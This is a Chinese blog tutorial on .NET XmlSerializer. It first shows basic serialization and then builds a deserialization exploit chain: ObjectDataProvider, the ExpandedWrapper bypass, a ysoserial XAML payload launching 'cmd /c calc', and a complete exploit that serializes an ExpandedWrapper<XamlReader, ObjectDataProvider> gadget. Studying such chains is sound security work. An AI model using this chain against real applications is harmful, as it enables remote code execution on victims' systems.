Dotnet - XmlSerializer 反序列化
序列化和反序列化的演示Demo
参考微软的文档:https://learn.microsoft.com/zh-cn/dotnet/api/system.xml.serialization.xmlserializer?view=net-5.0
- XmlSerializer
命名空间:System.Xml.Serialization
程序集:System.Xml.XmlSerializer.dll
- 演示demo
注解:
[XmlRoot] // XML根
[XmlElement] // XML中的实体节点
[XmlArray("Items")]
[XmlAttribute] // 声明的对应变量位于XML元素的开始标签属性 <book name="1"></book> 比如name
如何进行序列化:
- 声明内存空间,使用流对象代理
- 声明写内存的StreamWriter对象,由于序列化需要传入Textwriter类型,所以声明为Textwriter
// 传入类型, 指明了xml文档对应的对象类型
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
// 声明流
MemoryStream memoryStream = new MemoryStream();
// TextWriter为写连续字符的抽象类
TextWriter writer = new StreamWriter(memoryStream);
// 序列化
xmlSerializer.Serialize(writer, p);
// 输出序列化后的xml文档
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
反序列化
// 重置流指针, 为反序列化做准备
memoryStream.position = 0;
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
完整代码:
namespace XmlDeserialization
{
// XML
[XmlRoot]
public class Person
{
[XmlElement]
public int Age { get; set; }
// XML文档中的一个元素
[XmlElement]
public string Name { get; set; }
[XmlArray("Items")]
public Order[] OrderedItems;
// XML元素的开始标签属性 <book name="1"></book> 比如name
[XmlAttribute]
public string ClassName { get; set; }
}
public class Order
{
public int OrderID;
}
// 测试
internal class Program
{
public static void Main(string[] args)
{
Person p = new Person();
p.Name = "jack";
p.Age = 12;
// 两份 order
Order order = new Order();
order.OrderID = 123;
Order order1 = new Order();
order.OrderID = 456;
Order[] orders = new Order[] { order, order1 };
p.OrderedItems = orders;
p.ClassName = "classname";
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
//XmlSerializer xmlSerializer = new XmlSerializer(p.GetType());
//XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType("XmlDeserialization.Person"));
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
// 序列化
xmlSerializer.Serialize(writer, p);
memoryStream.Position = 0;
// 输出xml
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
Console.WriteLine(p1);
}
}
}
反序列化漏洞分析
环境配置
首先需要下载好依赖,使用NuGet,有GUI很舒服
(可以去微软文档查看对应函数需要的程序集)
以及添加引用using System.Data.Services.Internal;
ObjectDataProvider使用
Wraps and creates an object that you can use as a binding source.
演示demo
ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe"); // 参数
o.MethodParameters.Add("/c calc");
o.MethodName = "Start"; // 对象方法
o.ObjectInstance = new Process(); // 绑定的对象实例
但是没办法对该对象进行XML序列化,那么自然也就没有反序列化
具体原因如报错:
未经处理的异常: System.InvalidOperationException: 生成 XML 文档时出错。 ---> System.InvalidOperationException: 不应是类型 System.Diagnostics.Process。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。
未动态执行前,无法得知ObjectDataProvider绑定的对象信息
ExpandedWrapper包装器
- ExpandedWrapper包装类定义如下:主要是一个泛型的思想在这
public sealed class ExpandedWrapper<TExpandedElement, TProperty0> :
ExpandedWrapper<TExpandedElement>
{
/// <summary>Get or sets the property to expand.</summary>
/// <returns>The property to expand.</returns>
public TProperty0 ProjectedProperty0 { get; set; }
protected override object InternalGetExpandedPropertyValue(int nameIndex)
{
if (nameIndex == 0)
return (object) this.ProjectedProperty0;
throw Error.NotSupported();
}
}
- 使用方法:
TProperty0
表示要包装的类型
ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Process, ObjectDataProvider>();
序列化
ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper =
new ExpandedWrapper<Process, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Start";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Process();
Type t = typeof(ExpandedWrapper<Process, ObjectDataProvider>);
XmlSerializer xml = new XmlSerializer(t);
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
xml.Serialize(writer, expandedWrapper);
通过泛型类包装可以绕过序列化时因未知类型而失败的限制
但是Process类中存在接口,无法被序列化
ResourceDictionary攻击链
Windows Presentation Foundation (WPF) :一个独立于分辨率并使用基于矢量的渲染引擎的 UI 框架
XAML 是一种声明性标记语言。当应用于 .NET 编程模型时,XAML 简化了为 .NET 应用程序创建 UI
ResourceDictionary包含了wpf,那么自然可以涉及到xaml
首先我们使用yso生成XAML形式打ObjectDataProvider的反序列化链
> ysoserial.exe -g ObjectDataProvider -c calc -f Xaml
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
配合ExpandedWrapper, ObjectDataProvider思路:
XmlSerializer-- ExpandedWrapper<XamlReader, ObjectDataProvider> -- ObjectDataProvidfer -- XamlReader.Parse
完整exp如下:
string cmd = @"<?xml version=""1.0"" encoding=""utf-16""?>
<ObjectDataProvider MethodName=""Start"" IsInitialLoadEnabled=""False"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments=""/c calc"" StandardErrorEncoding=""{x:Null}"" StandardOutputEncoding=""{x:Null}"" UserName="""" Password=""{x:Null}"" Domain="""" LoadUserProfile=""False"" FileName=""cmd"" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>";
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper =
new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
// 设置ObjectDataProvider的相关参数
expandedWrapper.ProjectedProperty0.MethodName = "Parse";
expandedWrapper.ProjectedProperty0.MethodParameters.Add(cmd);
expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
// 序列化
MemoryStream memoryStream = new MemoryStream();
TextWriter textWriter = new StreamWriter(memoryStream);
XmlSerializer xmlSerializer = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
xmlSerializer.Serialize(textWriter, expandedWrapper);
string XMLShell = Encoding.UTF8.GetString(memoryStream.ToArray());
//
Console.WriteLine(XMLShell);
参考文献
https://github.com/Y4er/dotnet-deserialization
标签:memoryStream,expandedWrapper,ExpandedWrapper,DotnetSec,new,XmlSerializer,序列化 From: https://www.cnblogs.com/icfh/p/18034762